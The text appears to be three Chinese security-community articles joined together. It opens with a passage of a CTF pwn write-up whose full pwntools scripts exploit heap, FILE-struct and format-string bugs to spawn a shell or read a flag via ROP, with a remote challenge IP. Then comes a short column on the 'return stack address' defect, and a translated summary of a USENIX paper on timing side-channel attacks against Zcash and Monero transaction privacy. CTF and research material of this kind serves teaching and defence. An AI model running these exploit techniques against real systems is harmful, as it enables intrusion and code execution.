edit(0x410+0x180,len(payload),payload)
delete(0x440)
delete(0x480)
delete(0x10)
show()
delete(0x5a0)
payload = p64(0)+p64(0x3f1)+p64(0)+chr((stdout_vtable-0x10)%0x100)+chr(((stdout_vtable-0x10)>>8)%0x100)+chr(((stdout_vtable-0x10)>>16)%0x100)
edit(0,len(payload),payload)
payload = "a"*0x10+"/bin/sh;"+"a"*0x18+"a"*8+"a"*0x10+chr((one_gadget)%0x100)+chr(((one_gadget)>>8)%0x100)+chr(((one_gadget)>>16)%0x100)
edit(0x440,len(payload),payload)
# gdb.attach(p)
extra()
p.interactive()
**3.4.2 exp（思路二）**
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='info')
context.log_level = "debug"
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
p = process('./pwn')
else:
p = remote('183.60.136.226',16145)
def edit(offset,sz,content):
p.recvuntil('Input your choice:')
p.sendline('1')
p.recvuntil("Input the offset :")
p.sendline(str(offset))
p.recvuntil("Input the length :")
p.sendline(str(sz))
p.recvuntil("Input the content :")
p.send(content)
def create():
p.recvuntil('Input your choice:')
p.sendline('3')
def delete(offset):
p.recvuntil('Input your choice:')
p.sendline('2')
p.recvuntil("Input the offset :")
p.sendline(str(offset))
def exit():
p.recvuntil('Input your choice:')
p.sendline('4')
#leak libc
p.recvuntil("0x")
libc_addr = int(p.recvline().strip('\n'),16)
libc_addr = (libc_addr << 8) +0xa00000+0x30
libc_addr = libc_addr - libc.sym['sleep']
log.success("libc addr => " + hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
io_list_all = libc_addr + libc.sym['_IO_list_all']
log.success("system addr => " + hex(system_addr))
log.success("IO_list_all addr => " + hex(io_list_all))
# ------0x68 heap addr-------- payload = p64(0)+p64(0x61)+(p64(0)+p64(0x21))*5
edit(0x10,len(payload),payload)
payload = p64(0)+p64(0x61)+(p64(0)+p64(0x21))*5
edit(0x10+0x60,len(payload),payload)
payload = p64(0)+p64(0x61)+(p64(0)+p64(0x21))*9
edit(0x10+0x60+0x60,len(payload),payload)
# ------heap addr and 0xd8 libc addr-------- payload = p64(0)+p64(0x141)+(p64(0)+p64(0x21))*0x20
edit(0x160,len(payload),payload)
payload = p64(0)+p64(0x91)
edit(0x140,len(payload),payload)
edit(0x1b0,len(payload),payload)
delete(0x150)
delete(0x1c0)
delete(0x170)
# ------- unsorted bin attack ---- payload = p64(0)+p64(0xa1)
edit(0x80,len(payload),payload)
delete(0x90)
create()
# create fake file struct
fake_file = "/bin/sh;"+p64(0x61)+p64(0)+p64(io_list_all-0x10)[:3] # unsorted bin attack，顺便修改下size为0x61
edit(0x80,len(fake_file),fake_file)
fake_file= p64(2)+p64(3)+p64(0)*21
edit(0xa0,len(fake_file),fake_file)
fake_file= p64(0xb0)[:1] # vtable
edit(0xa0+0x8*23,len(fake_file),fake_file)
fake_file=p64(system_addr)[:3]
edit(0x1c8,len(fake_file),fake_file)
exit()
# ------make unsorted bin -------- # gdb.attach(p)
p.interactive()
## 四、EasyShell
### 4.1 查看文件
GOT表可劫持，PIE和canary保护都没开启
看起来是orw来getshell
这题只是普通的pwn题，并没有逃逸的部分
### 4.2 IDA分析
这是个没有符号的二进制文件，我们通过sig文件恢复了一部分，手动恢复一部分，基本可以了解主函数逻辑了：
大概就是一个格式化字符串的漏洞，只能orw来获得flag
### 4.3 思路
**4.3.1 思路一**
队里的Ama2in9师傅的思路：劫持 fini_arr[2]
为call_fini+leave_ret_addr，在调用的时候观察一下栈迁移的rbp，记一下，回过头在第一次格式化字符串漏洞的时候把这里部署上
p_rdi+new_addr+gets ，在gets调用结束还有一次 leave;ret
调用，此时再记一下对应的迁移rbp，回过头补上那个new_addr，这样构造出两段rop(因为第一段到后面发现部分rop chain写不进去)，最后orw
read flag
**4.3.2 思路二**
Nu1L队师傅的思路是通过劫持malloc_hook来执行gadget，提前在附近位置布置其它的gadgets，使得通过该位置的gadget调用readinfo函数读取新的一堆gadget到指定位置，接下来再执行这一堆gadgets目标是执行read的系统调用，最后读入这段orw的gadgets，执行达到get
flag的目的。
我们先看看通过printf是怎么调用malloc_hook的,大体是这样： **IO_vfprintf_internal->printf_positional->_libc_malloc->malloc_hook**
**首先：printfFunc函数中调用子函数IO_fprintf_internal** ：
**其次：IO_fprintf_internal中调用printf_positional** ：
**最后：printf_positional中调用_libc_malloc** ：
**在_libc_malloc中自然会有查看hook不为空就调用的操作** ：
这条指令就进入了调用链中：
**这个题有个关键点就是一条汇编指令** ：如何将bss也就是malloc_hook附近的地址赋值给esp：
**< u>0x0000000000422924: xchg edi, esp; add al, 0; add dh, dh; ret;</u>**
这条指令会调换edi和esp的内容，我们看到edi就是我们想改esp的值，所以这个指令就办到了。
### 4.4 exp
**4.4.1 思路一**
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
# context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
p = process('./pwn')
else:
p = remote('183.60.136.226',11397)
tls = 0x6f0430
fini_arr = 0x6d6828
call_fini = 0x40aba0
main_addr = 0x0000000000400c6c
rbp = 0x6ed0c0
gets = 0x400dc0
p_rdi_1 = 0x000000000040b74a
p_rdi = 0x0000000000401f0a
p_rsi = 0x00000000004014a4
p_rdx_rsi = 0x000000000044c499
p_rax_rdx_r = 0x0000000000482286
syscall = 0x0000000000471115
leave = 0x0000000000400c6c
def exp():
#leak libc
p.recvuntil("Input your message,it will echo back.")
target = rbp+0x10
payload = "%"+str((call_fini)&0xffff)+"c%23$hn"
payload += "%"+str(0xffff&(main_addr&0xffff)-(call_fini&0xffff))+"c%24$hn"
payload += "%"+str((p_rdi-main_addr)&0xffff)+"c%25$hn"
payload += "%"+str(((p_rdi>>16)-(p_rdi&0xffff))&0xffff)+"c%26$hn"
payload += "%"+str(((target&0xffff)-(p_rdi>>16))&0xffff)+"c%27$hn"
payload += "%"+str(((target>>16)-(target&0xffff))&0xffff)+"c%28$hn"
payload += "%"+str(((gets&0xffff)-(target>>16))&0xffff)+"c%29$hn"
payload += "%"+str(((gets>>16)-(gets&0xffff))&0xffff)+"c%30$hn"
payload = payload.ljust(0x78,'a')
payload += p64(fini_arr)+p64(fini_arr+8)+p64(rbp+0x8)+p64(rbp+0xa)+p64(rbp+0x10)+p64(rbp+0x12)+p64(rbp+0x18)+p64(rbp+0x1a)
p.sendline(payload)
raw_input()
flag_addr = 0x6ed0d0
#gdb.attach(p,'b* 0x0000000000400c6c')
rops = flat([
p_rdi_1,flag_addr,0,
p_rsi,0,
p_rax_rdx_r,2,0,0,syscall,
p_rdi_1,0,0,
p_rsi,0x6ed178,
p_rax_rdx_r,0,0xf0,0,syscall,
])
payload = "./flag\x00\x00"+rops
p.sendline(payload)
raw_input()
rops = flat([
p_rdi_1,5,0,
p_rsi,flag_addr+0x20,
p_rax_rdx_r,0,0x60,0,syscall,
p_rdi_1,1,0,
p_rsi,flag_addr,
p_rax_rdx_r,1,0x60,0,syscall,
])
p.sendline(rops)
p.interactive()
exp()
**4.4.2 思路二**
#coding=utf-8
from pwn import *
from fmt_attack import Payload
p = process('./pwn')
context.log_level = 'debug'
read_addr = 0x400bce # 读0xc0个字符功能的函数
malloc_hook = 0x6ed7a8
# 0x0000000000471115: syscall; ret;
# 0x0000000000400c6c: leave; ret;
# 0x0000000000422924: xchg edi, esp; add al, 0; add dh, dh; ret;
# 0x000000000042142b: pop rcx; ret;
# 0x000000000044b3a2: pop rdi; jmp rax;
# 0x0000000000482286: pop rax; pop rdx; pop rbx; ret;
# 0x0000000000401f08: pop rsi; pop r15; ret;
# 0x000000000042830b: pop rsp; jmp rax;
# 0x00000000004014a4: pop rsi; ret;
# 0x000000000040b74a: pop rdi; pop rbp; ret;
# 0x00000000004005b5: pop rsp; ret;
a = Payload(10,addon=('%' + str(0x6ED798) + 'x').ljust(0x10,'a'))
a.add_write_chunk(0x0000000000422924,0x6ed7a8,4)
a.add_write_chunk(0x000000000040b74a,0x6ed7b8,4)
a.add_write_chunk(0x6ed7d0,0x6ed7c0,4)
a.add_write_chunk(read_addr,0x6ed7d0,4)
payload = a.get_payload()
gdb.attach(p)
p.sendline(payload.ljust(0xc0,"\x00"))
# read func
payload1 = "flag".ljust(8,"\x00") # 0x6ed7d0
payload1+= p64(0x0000000000482286) + p64(0) + p64(0x400) + p64(0) # pop rax; pop rdx; pop rbx; ret;
payload1+= p64(0x000000000040b74a) + p64(0)*2 # pop rdi; pop rbp; ret;
payload1+= p64(0x00000000004014a4) + p64(0x6ed900) # pop rsi; ret;
payload1+= p64(0x0000000000471115) # syscall ret
payload1+= p64(0x00000000004005b5) + p64(0x6ed900) # pop rsp; ret;
p.sendline(payload1.ljust(0xc0,"\x00"))
# ------------ ORW --------------- # open
payload2 = p64(0x0000000000482286) + p64(2) + p64(0) + p64(0) # pop rax; pop rdx; pop rbx; ret;
payload2+= p64(0x000000000040b74a) + p64(0x6ed7d0)+p64(0) # pop rdi; pop rbp; ret;
payload2+= p64(0x00000000004014a4) + p64(0) # pop rsi; ret;
payload2+= p64(0x0000000000471115) # syscall ret
# read
payload2+= p64(0x0000000000482286) + p64(0) + p64(0x20) + p64(0) # pop rax; pop rdx; pop rbx; ret;
payload2+= p64(0x000000000040b74a) + p64(3)+p64(0) # pop rdi; pop rbp; ret;
payload2+= p64(0x00000000004014a4) + p64(0x6ed7a0) # pop rsi; ret;
payload2+= p64(0x0000000000471115) # syscall ret
# write
payload2+= p64(0x0000000000482286) + p64(1) + p64(0x20) + p64(0) # pop rax; pop rdx; pop rbx; ret;
payload2+= p64(0x000000000040b74a) + p64(1)+p64(0) # pop rdi; pop rbp; ret;
payload2+= p64(0x00000000004014a4) + p64(0x6ed7a0) # pop rsi; ret;
payload2+= p64(0x0000000000471115) # syscall ret
p.sendline(payload2.ljust(0x400,"\x00"))
p.interactive() | 社区文章 |
# 【缺陷周话】第29期：返回栈地址
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 2、 返回栈地址的危害
返回栈地址通常会导致程序运行出错，原因是函数指向的地址中的内容随着函数生命周期结束而被释放了，此时指针指向的内容是不可预料的，对返回的栈地址进行访问会导致未定义的行为，甚至可能造成程序崩溃。
## 3、示例代码
示例源于Samate Juliet Test Suite for C/C++ v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE562_Return_of_Stack_Variable_Address__return_buf_01.c。
### 3.1缺陷代码
在上述示例代码中，在第14行声明和初始化了一个字符数组，并在17行使用 return charString;
进行返回，此时返回的是栈地址。因此该示例存在“返回栈地址”问题。
使用360代码卫士对上述示例代码进行检测，可以检出“返回栈地址”缺陷，显示等级为高。如图1所示：
图1：返回栈地址的检测示例
### 3.2 修复代码
在上述修复代码中，Samate 给出的修复方式为： 在第14行将字符数组定义为 static，当 static
用来修饰局部变量的时候，它就改变了局部变量的存储位置，从原来的栈中存放改为静态存储区，因此在第21行 return charString;
时，避免了返回栈地址。同时 Samate 样本也指出这并不是一个完全的顺应性例子，需要根据实际场景来针对性修复。
使用360代码卫士对修复后的代码进行检测，可以看到已不存在“返回栈地址”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免返回栈地址
（1）注意指针指向的内存，避免返回栈地址。
（2）使用源代码静态分析工具，可以有效发现这类问题。 | 社区文章 |
# 远程侧信道攻击区块链匿名交易
|
##### 译文声明
本文是翻译文章，文章原作者 Florian Tramer and Dan Boneh, Kenny Paterson，文章来源：usenix.org
原文地址：<https://www.usenix.org/conference/usenixsecurity20/presentation/tramer>
译文仅供参考，具体内容表达以及含义原文为准。
注重隐私的加密货币，例如Zcash或Monero，旨在为交易的机密性和不可链接性提供强大的加密保证。在本文中描述了侧信道攻击，这些攻击使远程攻击者可以绕过这些保护措施。
本研究针对接收者的隐私提出了一般的计时侧信道攻击和流量分析攻击。这些攻击使活跃的远程攻击者能够识别Zcash或Monero中任何交易的（秘密）收款人。这些攻击通过利用因实施不同系统组件而泄露的侧信道信息，从而违反了这些加密货币的隐私目标。具体来说，证明了远程用户可以通过测量该用户的P2P节点对某些请求的响应时间，来链接向该用户发送资金的所有交易。时间差异足够大，可以通过WAN远程进行攻击。本研究以负责任的方式向受影响的项目披露了这些问题，并已修复了漏洞。
进一步研究了计时侧信道对这些加密货币中使用的零知识证明系统的影响。注意到在Zcash的实施中，生成零知识证明的时间取决于秘密交易数据，尤其取决于交易资金的数量。因此，尽管证明系统具有零知识特性，但能够测量证明生成时间的攻击者可能会破坏交易的机密性。
本研究的攻击凸显了匿名加密货币中侧信道泄露的危险，并且需要系统地保护它们免受此类攻击。
## 0x01 Introduction
比特币是最大的加密货币，不是私有的：几项研究显示，人们可以有效地得到比特币交易的去匿名化图谱。许多其他加密货币也是如此。
对于那些希望在公共区块链上实现交易隐私的人来说，诸如Zcash，Monero和其他几个系统对记录网络中所有交易的一方提供不同程度的不可链接性（unlinkability）。将本文重点放在Zcash和Monero上，因为按市值计算它们是最大的两种匿名加密货币。但是，本研究的方法更通用，并且期望其他匿名加密货币也遭受类似的漏洞的困扰。
Zcash和Monero使用相当高级的加密原语，例如简洁的零知识参数（zk
SNARK）和环签名。尽管有这些强大的密码学保护，但仍发现了一些针对交易隐私的协议级攻击并已纠正。
在本文中，采用不同的方法来分析匿名交易的隐私保证。与其攻击抽象协议，不如说是由系统中不同组件的实现所泄露的侧信道结构。具体来说，看一下计时网络通道和流量模式，这是由远程网络攻击者测得的。本研究证明，尽管在这些系统中使用的抽象零知识协议可以向观察者隐藏信息，但这些协议很容易遭受侧信道泄露。任何信息泄露都可能使零知识财产失效，并削弱或破坏匿名交易的隐私担保。
### 1）结果
本研究在Zcashand、
Monero中描述了多种针对交易隐私的攻击，这些攻击利用了通信模式或系统不同部分泄露的计时信息。本文采用系统的方法，研究匿名交易在整个系统中的生命周期。在每一步中，都会寻找侧信道，并评估它们对用户隐私的影响。
**匿名交易的生命周期：**
首先，可以在付款人的钱包中创建交易，可能借助远程服务器来生成必要的零知识证明以证明交易的有效性。最终，收款人的钱包接收到交易，可能需要在记录P2P网络中所有交易的远程P2P节点的帮助下进行。收款人的钱包必须扫描网络中的所有匿名交易，以查找收款人的交易。
攻击者可以在上述每个步骤中观察侧信道的信息，并尝试学习有关交易的信息，例如：预期收款人的身份（例如，其公钥或其P2P节点的IP地址），金额交易中转移的资金或资金来源。接下来，总结一下结果。
**Zcash：**
在Zcash中，用户的钱包和P2P节点在单个过程中运行。钱包通过尝试使用其秘密密钥对其进行解密，以检查它是否是即将进行的每笔交易的收款人。这导致了侧信道泄露的两个来源：（1）如果解密成功，并且解密的事务（称为Note明文）格式正确，则钱包将执行额外的Pedersen承诺检查；
（2）如果解密成功，但是解密的交易格式不正确，则钱包会抛出一个异常，并传播到该节点的P2P层。
在第一种情况下，执行额外的Pedersen承诺检查所花费的时间会导致P2P节点对后续网络消息的响应出现延迟。因此，本文展示了一种称为PING的攻击，该攻击将一个事务发送到节点，然后立即发出“ping”消息（Zcash的P2P网络中的标准保持活动消息）。攻击者可以使用ping响应中的延迟来推断该节点是否是交易的收款人。这构成了交易不可链接性的中断。
在第二种情况下，提出了REJECT攻击，其中攻击者精心制作了格式错误的交易，使用已知（但匿名）的公共密钥对其进行加密，然后将其发送到目标P2P节点。如果解密成功，则会触发异常，并且目标节点将明确的“reject”消息发送回攻击者。然后，收到此消息后，告知攻击者所选的公钥属于目标P2P节点的所有者，这违反了匿名性。
**Monero：**
对于Monero，其中的钱包和节点在单独的流程中运行，证明付款的接收会改变钱包及其节点之间的通信模式。如果钱包连接到远程节点（在移动钱包中很常见，或者在首次与网络同步时很常见），如果钱包是最近交易的收款人，则被动网络攻击者可以推断出该钱包。此外，即使用户的钱包和节点位于同一位置，研究也表明，远程攻击者可以通过引起并观察节点资源上的锁争用来推断钱包到节点的通信模式。在WAN中验证这种计时攻击，攻击者（位于伦敦）推断受害者（在苏黎世运行一个节点和钱包）是否收到了付款。
对于Zcash和Monero，本研究的攻击都使远程攻击者可以通过识别每个交易收款人的P2P节点来链接匿名交易，可以进一步利用这些攻击来：（1）在给定用户P2P节点公钥的情况下，确定其IP地址；
（2）打破属于同一用户的多个地址的不可链接性。对于Zcash，攻击还可以使：（3）给定用户的公共密钥，远程使Zcash节点崩溃，以及（4）在涉及非永久时间的ECDH密钥交换上创建远程计时侧信道。用户的长期秘密查看密钥，有可能导致该密钥的泄露。
这些攻击可能会使注重隐私的加密货币用户（例如，举报者或激进主义者）面临风险。例如，将用户的匿名公钥链接到其P2P节点的对手可能会发现用户的物理身份或位置。破坏了不可链接性的攻击者（并在它们进入P2P网络时监视交易）可以推断出哪些P2P节点属于彼此进行交易的用户。
本文发现和利用的漏洞比以前的工作中使用的加密计时侧信道更为深入，即使Zcash或Monero中的所有密码本原都是固定时间的，上述攻击仍将适用（ECDH密钥交换的启动时间除外）。这是因为本文的主要攻击在协议级别上缺乏恒定时间，而现有文献主要在较低级别的算法级别上研究密码学恒定时间保证。
**zkSNARK生成中的侧信道：**
本文研究了交易创建时的计时侧信道，付款人在其中生成zkSNARK来证明交易有效。观察到在Zcash中，生成zkSNARK的时间不是恒定的，而是取决于秘密信息，例如交易金额的汉明权重。实验表明，当前的实现方式实际上不是零知识：从时序泄露中收集的信息使零知识属性无效。如果攻击者可以测量zkSNARK生成过程的运行时间，则它可以提取此信息。
### 2）披露和补救措施
本文中讨论的所有漏洞均已向Zcash和Monero公开，随后已修复为两个项目的最新版本。希望这项工作将有助于告知其他面向隐私的区块链项目有关匿名支付系统中侧信道泄露的危险。它还应激励诸如zkSNARK证明者之类的密码原语的恒定时间实现的发展。
## 0x02 Architecture of an Anonymous Payment System
本节介绍了一些针对隐私的加密货币的核心设计概念，例如Zcash和Monero。这些加密货币建立在比特币所谓的UTXO模型之上。每笔交易都花费先前交易的输出并产生新的输出。一组“未用交易输出”（UTXO）记录在区块链中，代表流通的总货币。
每个使用该货币的用户都拥有一个或多个公共密钥（也称为地址），并连接到P2P网络以发送和接收交易。
**隐私目标：**
在比特币中，UTXO是形式（amount，pk）的元组，其中pk是收件人的公钥。为了以后花费此UTXO，接收者在相应的秘密密钥下产生一个签名。交易因此揭示了用掉的货币量，资金的来源（即，使用了哪些UTXO）以及目的地（即，新的UTXO的所有者的公钥）。此外，在将交易发送到网络时，用户的公钥可以链接到她所连接的P2P节点。
Zcash和Monero之类的货币旨在提供以下更强大的隐私保证：
**•保密性：** 交易未透露交易金额。
**•不可追踪性：** 当交易花费了UTXO时，很难识别产生该UTXO的交易。
**•不可链接性：**
给定两笔交易发送到网络中（最多一笔交易由攻击者发送），攻击者无法确定他们是否支付相同的地址。此外，给定两个地址，对手无法确定它们是否属于同一地址给同一个用户。
**•用户匿名：** 给定用户的地址（即公共密钥），对手无法确定该地址的所有者如何连接到P2P网络。
**隐私技术：** 这些隐私保证是通过加密技术的组合来实现的，下面将对此进行正式介绍。
保密交隐藏了交易资金的数量。机密交易的UTXO的格式为（Commit（amount），pk），即，它们仅显示对交易金额的加密图形承诺。该交易还包括其总余额为零的证明。UTXO匿名集通过隐藏交易输入的身份来提供不可追溯性。具体而言，匿名交易不会显示其花费的UTXO，而只会显示一组超级UTXO，以及该组中某些UTXO所有权的零知识证明。
**混淆和分散的地址保证了不可链接性：**
为了防止发送到同一地址的交易的可链接性，匿名交易的UTXO包含“混淆的”公共密钥（例如，对zcash中的密钥的承诺）。多样化的地址（或Monero中的子地址）使用户能够与多个实体进行匿名交易，而无需管理多个秘密密钥。用户可以从单个秘密密钥sk创建多个公共密钥pk1，…，pkn。这些密钥是不可链接的：很难确定两个公共密钥pk，pk’是否从同一个秘密密钥派生。
**区块链扫描是不可链接的技术结果：**
由于匿名交易的UTXO不会明文显示收件人的公钥，因此用户必须扫描每笔新交易并执行各种加密操作，以检查交易是否适合他们。
**用户匿名性由不可追踪性和不可链接性来保证：** 由于交易不会透露发送者或接收者的公钥，因此用户的公钥无法链接到她用来发送或接收交易的P2P节点。
**软件部署：**
跨项目（以及使用相同货币的用户）的加密货币软件的部署有所不同。多种部署选择会极大地影响用户对本文提出的侧信道攻击的脆弱性。区分三种类型的软件：（1）节点是通过交换和验证交易和区块来处理区块链共识层的P2P客户端；
（2）钱包（可能由硬件模块支持）存储用户的密钥和UTXO，并连接到节点以发送或接收交易。
（3）证明者产生私人使用用户的UTXO所需的零知识（ZK）证明。考虑以下常见的部署模式，这些模式是指用户的钱包与P2P节点或证明方之间的交互。
**1.集成：** 钱包，节点和证明方功能都是同一过程的一部分。这是Zcash官方客户端的当前设计。
**2.本地：** 不同的组件在局域网中的不同进程中运行（这是钱包和节点的Monero默认设置）。一些硬件钱包还将代币证明的产生委托给本地软件。
**3.远程拥有：**
由于计算能力或内存的限制，钱包可能会连接到用户托管的远程P2P节点或证明者。远程P2P节点通常在Monero或Zcash的移动钱包中使用。外包密码证明并不常见，但在Zcash的设计中明确启用了加密，并在较早的协议版本中实现了。
**4.远程第三方：**
由于运行P2P节点的成本很高，因此用户可以将其钱包连接到第三方托管的节点。这在Monero中很常见：新创建的钱包连接到第三方节点，而本地节点下载区块链。
ZK证明者不太可能进行这种部署，因为必须保证第三方证明者的隐私性。
**匿名交易生命周期：** 下图说明了如何通过P2P网络创建匿名交易并与节点和钱包共享：
1.要发送新交易，用户的钱包会选择一些UTXO，并为交易产生零知识的有效证明。
2.交易被发送到连接到钱包的P2P节点并与网络共享。 P2P节点将这些事务存储在其“内存池”（Mempool）中。
3.P2P节点与连接的钱包共享这些交易。钱包会扫描每笔新交易，以检查是否为该交易的收款人。
一旦将事务包含在块中，也将执行步骤2和3。挖掘一个块时，该块及其包含的事务将传播到所有P2P节点。然后，该区块的交易将与用户钱包共享。
## 0x03 Overview of the Attacks
### 1）威胁模型
本文描述的攻击是远程侧信道攻击。因此，永远都不会假定受害人的软件是受托的。根据前文中描述的软件部署，考虑以下远程攻击者。
1.网络攻击者（上图中的Adverary 1a和1b）被动地监视受害者钱包和远程服务（例如节点或证明者）之间的加密流量。
2.P2P敌手（Adverary 2）参加P2P网络。攻击者可能会偏离P2P协议。
3.远程节点的敌手（Adverary 3）控制第三方P2P节点，并被动地监视受害者的钱包与该节点之间的（明文）通信。
### 2）攻击类型I：接收方的侧信道
本研究发现的最实用，最普遍的侧信道攻击会影响上图所示的匿名交易生命周期的最后阶段-当钱包处理新交易时。这些攻击使远程攻击者可以破坏系统的不可链接性和匿名性保证。攻击利用了流行的设计缺陷，即用户的钱包会定期检查它是否是任何新交易的收款人。
**攻击目标：**
攻击针对交易不可链接性和用户匿名性。因此，攻击者的目标是：（1）确定两个交易是否支付相同的地址，以及（2）确定已知地址的用户如何连接到P2P网络。
攻击是针对钱包和P2P节点的常规部署量身定制的。所有攻击所达到的实际目标是识别交易的收款人正在使用的P2P节点。在多个用户将其本地钱包连接到共享的远程P2P节点的情况下，网络攻击者或远程节点攻击者发起的攻击会进一步恢复交易收款人使用的实际钱包。
考虑两种不同的攻击情形：
•攻击者知道一个匿名公共密钥，并向该密钥发送交易，以确定密钥所有者使用哪个P2P节点（或钱包）接收交易。
•诚实用户发送了攻击者不知道预期收款人或其公共密钥的交易。攻击者确定交易的收款人使用哪个P2P节点（或钱包）。
后一种攻击方案包含第一种，因为攻击者可以将诚实制作的交易发送到已知的公钥。后一种情况直接导致事务不可链接性的中断。给定两个发送到网络中的交易，攻击者仅确定两个交易的收款人是否使用相同的P2P节点或钱包。此外，这两种攻击方案都代表了用户匿名性的破坏，可以针对其他违反隐私的行为进行引导：
• **IP地址恢复：**
除非所有者使用匿名工具（例如Tor.3），否则对手可以将公钥链接到所有者的P2P节点（或如果其钱包连接到远程节点，则为她的钱包）的IP地址。此信息可用于取消匿名或对受害者进行地理定位。
**•多种地址可链接性：**
给定两个公钥，攻击者可以确定它们是否属于同一用户。攻击者将交易发送到每个公钥，并检查是否标识了相同的节点或钱包。这破坏了多样化地址的不可链接性。
**•私钥恢复：**
某些攻击的潜在漏洞也为通过计时侧信道提取受害者的秘密“查看”密钥打开了渠道。窃取此密钥可使对手被动地链接发送给受害者的所有交易（但不能窃取受害者的资金）。
**攻击策略：** 本研究的攻击利用了钱包处理交易的方式不同（当钱包是收款人时，而不是收款人）。这种差异是由于执行了额外的加密操作以取回收到的资金所致。
钱包行为的这种差异本身就不是问题，因为远程攻击者无法直接与用户的钱包进行交互。然而，本文发现由于各种设计缺陷，钱包行为的差异会影响钱包与其P2P节点之间的交互。反过来证明了远程攻击者可以通过各种侧信道推断钱包到节点的交互变化。制定两种通用的攻击策略：
**•策略1：** 钱包到节点通信的流量分析。如果钱包连接到远程节点，则网络攻击者或远程节点对手可以被动地观察钱包到节点交互中的变化。
**•策略2：**
从P2P层推断钱包行为。如果钱包和节点位于同一位置，则远程攻击者手将无法观察到它们的交互。但是，如果钱包行为的变化影响了用户的P2P节点与远程对等方之间的交互，则信息仍然会泄露给攻击者。
这两种策略不仅适用于创建交易并将其发送到P2P网络中，而且适用于包含在区块中的交易。那时，该区块及其所有交易都与每个对等方共享，钱包重新处理了交易以确保交易有效（例如，他们没有花双倍的钱）。
### 3）攻击类型II：发送方的侧信道
前节中描述的攻击（破坏了交易的不可链接性和用户匿名性）利用了P2P客户端和钱包的系统设计缺陷。因此，它们并没有直接针对协议的任何加密保护。为扩大在匿名交易中对侧信道漏洞的调查范围，
本研究启动了对加密工具的攻击的研究，这些工具保证了事务创建时的机密性和不可追踪性特别简洁的零知识参数（zk-SNARKs）。
本节中的攻击具有更多概念性，尽管它们不太可能影响当前用户，但这些攻击再次说明了使用无侧信道的加密实现对确保未来的匿名性和深度安全性的重要性。
**攻击目标：**
交易发送方负责确保机密性和不可追溯性。如下所述，远程攻击最合理的目标是恢复交易金额，从而破坏机密性。对事务创建的远程侧信道攻击面临许多挑战：
**1.非交互性：** 用户可以创建交易而无需与任何其他方进行交互。
**2.临时机密：** 许多交易机密（例如，交易金额和与UTXO相关的机密）是一次性使用的。因此，即使存在侧信道，攻击者也只能尝试提取这些秘密。
**3.高熵机密：** 用于创建交易的长期秘密（例如，用户的密钥）具有高熵，并且需要提取高精度的侧信道。
研究表明，可以通过针对交易创建过程的证明阶段并且旨在（部分）收回交易的机密金额的攻击者来克服这些挑战。
**匿名交易中的SNAR：** 零知识证明是匿名交易的基本组成部分。在zk-SNARK协议中，证明者具有一些秘密输入（称为见证人），并且使验证者确信该见证人满足给定谓词，而没有透露有关见证人的任何其他信息。在Zcash和Monero中，这样的证明可以证明交易的有效性，同时又可以保护交易的私密性。例如，在Zcash中，证明见证人包含已用完的UTXO列表，接收方地址和交易金额，并且证明可以保证这些UTXO存在并属于支出方，并且所有资金都将转移到接收方。
**zk-SNARK产品中的计时侧信道：**
本文的观点是，在当前的实现中，产生证明所花费的时间会泄露有关证明者的秘密证人的信息，尤其是有关所花费的货币数量的信息。
然而，如上所述，由于交易创建的非交互性质，远程攻击者可能难以在证明生成过程上获得计时侧信道。更糟糕的是，计时生成证明可能不足以提取短暂的或具有高熵的秘密。尽管存在这些挑战，但在下面指出某些部署方案中，可能会对匿名加密货币中的zk-SNARK证明者进行远程计时攻击，并且证明生成的时间可能会泄漏有关秘密交易金额的重要信息。
关于非交互性，有两个观察结果：
•如果弱客户端（例如，移动钱包）将证明外包给远程服务，则网络攻击者可以为证明者计时。虽然证据外包并不常见，但是Zcash协议启用了此功能，而远程证明服务是为早期协议版本设计的。还建议将证明委托用于硬件钱包。一些用户可能选择将证明委派给远程服务。
•更一般而言，攻击者可能会通过监视P2P网络获得有关交易创建过程何时开始的带外信息，并观察交易何时结束。例如，用户可以设置定期付款，在固定时间创建交易。攻击者也可能具有触发交易的能力，这是某些外部协议的一部分。本研究为数字签名绘制了与计时侧信道的连接。尽管签名是非交互式的，但使用签名的协议（例如TLS）可能会引入远程侧信道。
由于许多交易机密的高度熵，攻击的目标是交易量，这是一个非加密值，即使是粗略的近似值（一次计时测量所泄漏的值）也构成了违反隐私的行为。
**攻击策略：** 考虑一种加密计时，该计时利用算术运算中取决于操作数值的时序变化。已经针对许多密码原语研究了这种攻击，但在进行此工作之前尚未考虑zk-SNARK。
利用这样一个事实，即出示证明的时间与证明者的证人的价值相关。由于见证人包含交易金额，希望该金额与证明时间相关。例如，Zcash的证明将交易金额分解为比特，并为每个非零比特计算椭圆曲线运算。因此，证明时间与交易金额的汉明权重密切相关，而交易额的汉明权重又与其价值相关。
## 0x04 Attacks on Unlinkability and Anonymity in Zcash
现在，评估前文中描述的对事务处理的侧信道攻击。首先展示针对Zcash的攻击
